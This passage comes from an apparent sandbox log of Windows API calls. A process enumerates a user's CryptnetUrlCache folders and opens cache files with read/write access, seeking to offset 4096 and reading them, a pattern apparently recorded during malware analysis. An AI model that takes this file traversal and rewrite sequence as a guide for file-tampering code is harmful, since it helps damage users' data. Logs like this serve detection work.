lpNumberOfBytesWritten=0x204eda58, lpOverlapped=0x0 | out: lpBuffer=0x34c4988*, lpNumberOfBytesWritten=0x204eda58*=0x5d0, lpOverlapped=0x0) returned 1 [0181.189] CloseHandle (hObject=0x820) returned 1 [0181.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eda20) returned 1 [0181.189] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft", nBufferLength=0x105, lpBuffer=0x204ed4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft", lpFilePart=0x0) returned 0x2a [0181.190] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\*", lpFindFileData=0x204ed740 | out: lpFindFileData=0x204ed740*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x63cde605, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x63cde605, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0181.190] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x63cde605, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x63cde605, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.190] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd323af8f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdfedb1f6, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 1 [0181.190] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x63cde605, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x63cde605, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x63cde605, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0181.190] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x63cde605, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x63cde605, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x63cde605, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 0 [0181.190] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0181.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed960) returned 1 [0181.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed920) returned 1 [0181.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eda20) returned 1 [0181.191] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft", nBufferLength=0x105, lpBuffer=0x204ed4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft", lpFilePart=0x0) returned 0x2a [0181.191] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\*", lpFindFileData=0x204ed740 | out: lpFindFileData=0x204ed740*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x63cde605, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x63cde605, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0181.191] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x63cde605, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x63cde605, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.191] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd323af8f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdfedb1f6, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 1 [0181.191] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x63cde605, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x63cde605, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x63cde605, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0181.191] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0181.191] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0181.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed960) returned 1 [0181.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed920) returned 1 [0181.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0181.192] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache", lpFilePart=0x0) returned 0x3b [0181.192] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd323af8f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdfedb1f6, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0181.192] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd323af8f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdfedb1f6, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.192] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xbac9c0cb, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbac9c0cb, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content", cAlternateFileName="")) returned 1 [0181.192] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2cb04b8b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2cb04b8b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 1 [0181.193] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2cb04b8b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2cb04b8b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 0 [0181.193] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0181.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0181.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0181.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0181.193] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache", lpFilePart=0x0) returned 0x3b [0181.193] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd323af8f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdfedb1f6, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0181.193] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd323af8f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdfedb1f6, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.193] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xbac9c0cb, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbac9c0cb, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content", cAlternateFileName="")) returned 1 [0181.193] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2cb04b8b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2cb04b8b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 1 [0181.194] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0181.194] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0181.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0181.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0181.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0181.194] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content", lpFilePart=0x0) returned 0x43 [0181.194] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xbac9c0cb, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x2cb04b8b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0181.195] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xbac9c0cb, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x2cb04b8b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.195] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdfedb1f6, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x85d14e6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1aee, dwReserved0=0x0, dwReserved1=0x0, cFileName="57C8EDB95DF3F0AD4EE2DC2B8CFD4157", cAlternateFileName="57C8ED~1")) returned 1 [0181.195] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdfedb1f6, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xdb011c96, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0xcee7, dwReserved0=0x0, dwReserved1=0x0, cFileName="77EC63BDA74BD0D0E0426DC8F8008506", cAlternateFileName="77EC63~1")) returned 1 [0181.195] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xdff01446, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdff01446, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xca82ce2e, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="FB0D848F74F70BB2EAA93746D24D9749", cAlternateFileName="FB0D84~1")) returned 1 [0181.195] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0181.195] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0181.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0181.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0181.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0181.195] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content", lpFilePart=0x0) returned 0x43 [0181.196] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2cb04b8b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2cb04b8b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0181.196] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2cb04b8b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2cb04b8b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.196] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdfedb1f6, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x85d14e6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1aee, dwReserved0=0x0, dwReserved1=0x0, cFileName="57C8EDB95DF3F0AD4EE2DC2B8CFD4157", cAlternateFileName="57C8ED~1")) returned 1 [0181.196] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdfedb1f6, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xdb011c96, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0xcee7, dwReserved0=0x0, dwReserved1=0x0, cFileName="77EC63BDA74BD0D0E0426DC8F8008506", cAlternateFileName="77EC63~1")) returned 1 [0181.196] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xdff01446, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdff01446, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xca82ce2e, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="FB0D848F74F70BB2EAA93746D24D9749", cAlternateFileName="FB0D84~1")) returned 1 [0181.196] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xdff01446, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdff01446, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xca82ce2e, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="FB0D848F74F70BB2EAA93746D24D9749", cAlternateFileName="FB0D84~1")) returned 0 [0181.197] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0181.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0181.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0181.197] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157", lpFilePart=0x0) returned 0x64 [0181.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0181.197] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\57c8edb95df3f0ad4ee2dc2b8cfd4157"), fInfoLevelId=0x0, lpFileInformation=0x34f6320 | out: lpFileInformation=0x34f6320*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdfedb1f6, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x85d14e6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1aee)) returned 1 [0181.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0181.197] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157", lpFilePart=0x0) returned 0x64 [0181.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0181.197] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\57c8edb95df3f0ad4ee2dc2b8cfd4157"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0181.197] GetFileType (hFile=0x820) returned 0x1 [0181.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0181.197] GetFileType (hFile=0x820) returned 0x1 [0181.198] SetFilePointer (in: hFile=0x820, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x1000 [0181.198] ReadFile (in: hFile=0x820, lpBuffer=0x34f6808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec398, lpOverlapped=0x0 | out: lpBuffer=0x34f6808*, lpNumberOfBytesRead=0x204ec398*=0xaee, lpOverlapped=0x0) returned 1 [0181.198] CloseHandle (hObject=0x820) returned 1 [0181.198] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157", lpFilePart=0x0) returned 0x64 [0181.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0181.198] CreateFileW 